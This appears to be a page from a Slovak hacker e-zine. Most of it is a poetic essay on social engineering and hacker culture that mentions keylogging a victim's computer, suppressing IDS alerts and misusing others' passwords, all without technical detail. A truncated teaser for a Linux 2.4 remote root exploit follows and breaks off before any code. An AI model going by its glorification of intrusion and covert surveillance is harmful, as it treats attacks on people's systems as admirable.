Nasledujuci pribeh venujem vsetkym lamam a tiez socialnym inzinierom. Socialnym inzinierom, aj ked este nemaju papier, ak aj nejaky niekedy ziskaju. Ked som bol este prvak na vyske, podarilo sa mi raz na chodbe rozkopnut upratovacke kopku nazhrnanych smeti. Zarevala na mna: "Ale davajte pozor! Pan inzinier!" a tam niekde sa zacal cely pribeh. Mozno este skor, ale vtedy som si to tak zretelne neuvedomoval.

Vydrata sachovnica, pomaly sa neda rozoznat, kde su cierne a kde biele policka. Zapasy medzi figurkami prebiehaju neustale. Pocet utokov rastie. Rovnako ako pavuciny internetu coraz pevnejsie obaluju nasu planetu. Zemske jadro, plast, kora, medena vrstva (kable:), biosfera, informacna vrstva, atmosfera, ... vesmir...

Clovek, ty zviazana dusa,
radost neuzries ak zburas tu stenu,
tak preco odchadzajuce svetlo vola ta,
tehlicku po tehlicke, pomaly po jednej,...
dufajuc, ze aspon luc zazries.

Nie, ak si este stale myslite, ze medzi mnou a sedou eminenciou existuje urcite prepojenie alebo vztah, mylite sa. Ste rovnako mimo ako dieta, ktore si mysli, ze moze pouzit kladivo ako stetec alebo hocico rozoberat a nevediet to potom poskladat. Studnica napadov. Ano, aj tak to mozno nazvat. Pozorny citatel iste v nasledujucom texte objavi vycerpavajuce mnozstvo napadov, ktore za vhodnych okolnosti, za spravneho pocasia a priaznivych stavov ostatnych faktorov bude mozne zrealizovat. Tak napriklad uvediem prvy napad. Preco nezacne hysteria udelovat diplom socialneho inziniera? Staci vymysliet zopar skusok a potom este statnice:) Forma moze byt rozna.

Nekontaktuje hocikoho. Presne vie, kam ma poslat svojho cloveka. Ministra personalnych zalezitosti. Jedna vec je hrat sa doma cez dial-up a vlastnit hesla celeho miestneho internetoveho pola. Druha vec je zucastnit sa rozsiahlej akcie. Aj tu existuju dve strany mince. Jeden clovek na vsetko nestaci a preto potrebuje zdatny personal. Co sa tyka pracovnej sily, mozeme povedat, ze je milion ludi, ktori su ochotni pracovat... Toto vsak nieje nas pripad. Z toho miliona musime vyextrahovat iba zopar jednotlivcov, ktori su schopni dodrziavat urcite pravidla. Pravidla bezpecnosti v osobnom a aj tom druhom zivote. Iba clovek, ktory sa zapreda moze dokazat nieco poriadne. Zapredat sa technologii... A technologia, to je svina. Transformuje sa kazdym dalsim pohybom sekundovej rucicky. Kazdu chvilu sa objavi novy soft, service pack, diera... vsetko to buble. Mozno povedat, ze zaklad je mat dobrych ludi a na to si dava pozor. Aj on pracuje na zaklade overenych algoritmov. Nie bezhlavo. Pomaly. Veci radsej aj dvakrat pretestuje, aby si bol isty, ze nerobi chybu. Kazdou navonok prezentovanou chybou sa dostavame blizsie k nespravnemu koncu. Preto sa testovanie odporuca na vsetkych frontoch. Tak ako si specnazi najskor otestovali utok v podobnom divadle. Az neskor zopakovali celu akciu naostro. (podrobnosti: vid drama v moskovskom divadle, 2002)

Do hniezda z medenych kablov sa dostane iba zopar vyvolenych. Hovoria vam, ze su nedostihnutelne daleko. Zevraj admini nemaju sancu. Zabomysie vojny. Propaganda. Vztahy musia byt vyjasnene. Kazda pochybnost vas moze stat stratu cennych informacii. Dostanes vsetko, o co si zaziadas. Uspokoji ta to nakoniec? Jasne, ze nie. Tulas sa dalej. O biologickom hackovani sa tu uz niekedy pisalo. Asi nedosiahnete vsetci rovnake vysledky, ale predstavte si nasledovnu situaciu. Sedite s nejakou dievcinou pri stole a pijete drink. Porty ste este nestihli zoskenovat, pretoze neviete, aky citlivy je na masinke IDS (dalej IDS). Aky je jeden z moznych variantov riesenia daneho problemu? Tak skuste toto. Prisunte svoj pohar k jej poharu. Co sa stane?

Vypustili Kevina! Za ten cas sa zmenilo mnoho veci. Technologie tiez pokrocili. Ale su veci, ktore sa nemenia (#). Je to rutina. Chlapec, ktory vyzera navonok tak nevinne. Slusne. Ani by vas nenapadlo, ze ak ho pustite k pocitacu, spravi vam z neho behom par minut odpocuvaci uzol, ktory neviditelne odchyti vsetko dolezite, co kedy napisete. A potom, ked vas stretne, bude sa vam usmievat do tvare. A vy si poviete, o, aky slusny chlapec, ze sa na mna tak zlato skeri. Nie, to som si vazne vsimol. Vela ciernych figurok je tak profesionalne zdeformovana, ze uz toho moc nenarozpravaju. Su zvyknuti pocuvat usami, sledovat ocami a komunikacia navonok prebieha vacsinou behanim prstami po klavesnici. Cierna figurka pouzije usta akurat tak ked si sosne kofoly. Vsetko je to zahalene ruskom reklamy... Reklama to je predsa jeden z hlavnych nastrojov, ako odviest pozornost uplne opacnym smerom. Je to jeden zo sposobov. Odlakame biele figurky tak daleko, aby nepoculi, ked ich masinka volajuc marne o pomoc podlahne lakavym slovam odosielatela prikazov. Pisem to tu moc poeticky. Ale ja to povazujem za jeden zo sposobov ako povedat tisic veci jednou vetou. Usetrim tak strojovy cas uz aj tak zaneprazdneneho citatela. Jedna z variacii predstavuje situaciu, ked ma clovek na stroji IDS nakonfigurovany tak, ze akykolvek pokus o prienik sa hlasi pomocou sms. Zabezpecime, aby smska nikdy neodisla a so strojom si za urcitych okolnosti mozeme urobit cokolvek, co nas napadne. Technicke prevedenie je rutina. Najdolezitejsie je, ako to clovek vyuzije. A to uz nema s matematikou nic spolocne. Tvorivost pochadza z inej casti vasej kapustnice. Figurka s absentujucou tvorivostou je ako traktor, ktory by aj pooral, ale...

Skutocnost, ze Seda eminencia si ta najde, nehovori, aby si zaujal k svetu pasivny postoj. Ak chces raz pracovat v odeve od Sedej eminencie, musis sa 3krat ucit. A ani to ti nezaruci uspech. Bez praxe si nula. Teoretici patria na filozoficku fakultu, nehnevaj sa. Ja ho uz asi nedobehnem. Ty mas vsak sancu. Nepatri ani medzi bielych, ani medzi ciernych. Je sivy, je nad vsetkym. Ci uz biele alebo cierne figurky, vsetci vyuzivaju jeho technologie (nie, vazne, vsetko je z Taiwanu:). A nieje to ani ten, ktory vam prave zisiel na um.

Hacker riadi informacnu exploziu. Mnohych vobec nezaujima, co sa okolo nas deje. Vytvorime si predstavu o svete a zijeme si spokojne. Ani vo sne by nas nenapadlo, ze je na nas napojena nejaka pijavica, ktora napriklad pouziva nase heslo na pripojenie do internetu. Sposobov bezplatneho zdielania technologii a moznosti ako ich zrealizovat je nespocetne vela. Skuseny hacker vnima aj tie najjemnejsie pohyby vokol soba. Iba tak zostane neviditelny. Veci maju svoj poriadok. Akonahle tento poriadok zmeni svoje charakteristiky, musime sa pytat. Co sa deje?

Zorganizoval ich a odisiel. Kazdy vedel, aku ma ulohu. Dohodol sa samozrejme aj sposob komunikacie. To by ste sa cudovali, kolko zdlhavych krokov vyzadovala taka procedura. Kratkodobo neefektivna, ale dlhodobo produktivna. Nie kazdy sa ovladne az tak, aby dokazal zit podla stanovenych zasad. Myslelo sa na vsetko. Aj na sposob transformacie vztahov v pripade odchodu clena skupiny. Taketo odchody boli vsak velmi zriedkave. Zaklad spociva vo vybere ludi. Neviem, ale kompetentni vacsinou na toto pravidlo zabudnu. Zaciatok konca, kto nema pripraveny plan uniku, neprezije. Zivot je rozdeleny na dve smeny. Abstraktne povedane udrzba a produkcia. Za udrzbu mozno povazovat roznorode ukony spojene s pripravou zdrojov na ich opatovne pouzitie v produkcii - procese vytvarania. Produkcia prinasa zase zdroje a tie je potrebne udrziavat. Nekonecny kruh. Kto slape na vyssie obratky ako zvlada, odide zo sceny priskoro. Ak na to dnes vecer nemas, nevadi. Aj zajtra je den. Kto ti to povie, ked si to neprecitas tuto? Zajtra bude vsetko zmenene, ale to nevadi. Monitor bude tensi, skoro az priesvitny. Ak neudrzis svoje telo v kondicii, veci stratia zmysel. Tak nesed! Obcas sa aj pohni:) Vypadni do ulic, zmapuj si situaciu a ziskaj nove napady. Boardy by mohli byt vedene v ramci filozofickej fakulty.

Zivot v hniezde z medenych kablov si musi clovek zasluzit a castokrat, ked je postaveny pred hotovu vec, odmieta. Urobite chybu a vase data ... Dokonaly system by nepolozil na kolena nikto. Dokonaly system, to je nieco ako Slnecny stat. Je hacker dokonaly? Zla konfiguracia alebo chyba v beziacich aplikaciach. Par dni, hodin, minut, sekund a ste vnutri. Aky ciel si urcite? Jednoduchsie je pracovat masovo. Utocite na vsetky pocitace s urcitou chybou. To mozu robit amateri. Mozno sa im podari po case ulovit aj velku rybu. Ovladnut konkretny stroj, nuz, narocnejsie. Jeden z najzlozitejsich druhov hacku je hack osoby, ktora nema vlastny pocitac a na net chodi v skole, v internet caffee a hocikde inde, nepravidelne. Aj ked by sa nam podarilo na takom stroji spustit "malicious code" (napr. c:\windows\calc.exe), nieje nam to nic platne, pretoze druhykrat bude osoba "O" uz na inom stroji. Aj to dokazete bezproblemov? A co ovladnut system osoby, ktory v zivote nevidela pocitac? To je hack, ... zalozeny na predpoklade buducich udalosti. Treba najprv danu osobu urcitym sposobom donutit, aby zacala byt zavisla napr. na mailoch. Dalsie kroky su uz len rutina:)

Viem o nom vsetko. Aj ked som ho este nestretol. Videli ho asi iba jeho spolupracovnici... A urcite tiez kopa dalsich ludi, ktory vsak nevedeli, ze je to on. Prejdete okolo neho ako okolo hociakeho ineho cloveka... ak sa vam to podari, pretoze vacsinou sa presuva vo svojom sportaku. Chodieva sam. Ma tak cas premyslat o svojich buducich projektoch. Vizionar. Nieco mu pride na um. Premysla cele hodiny pozerajuc do prazdna. Hlada zachytny bod. Pripravi si kazdy detail a samozrejme viac variantov. Nakoniec pouzije figurky.

Pre hackera je charakteristicke, ze veci skoro vzdy dotiahne az do posledneho kroku k(n). Ak sa aj tebe podarilo predrat tou horou textu az sem, gratulujem. Nie si o nic mudrejsi, ako ked si zacal citat tento clanok, ale to ani nebolo jeho cielom. Potesit, uvolnit, odviest pozornost, zrekreovat, ... aspon sa usmej, ty... ja jednoducho nemam rad zaciatky, neznasam jadro a neviem pisat konce, preto je to vsetko tak...

rikin

navrat na obsah
co ty na to ? board




linux 2.4.x remote exploit

uvod

ehm, tak ceresnicku sme si nechali na zaver. objavit vlastny remote root shell exploit na dnes narozsirenejsi linuxovy kernel, tak taku pecku sme nezazili minimalne od prielom 9, ale ten sa musel zial stiahnut.. zasvateni vedia preco, nezasvateni nevedia.. ale co uz, teraz tu mame konecne kod, ktory v rukach praveho kuzelnTransfer interrupted



INDEX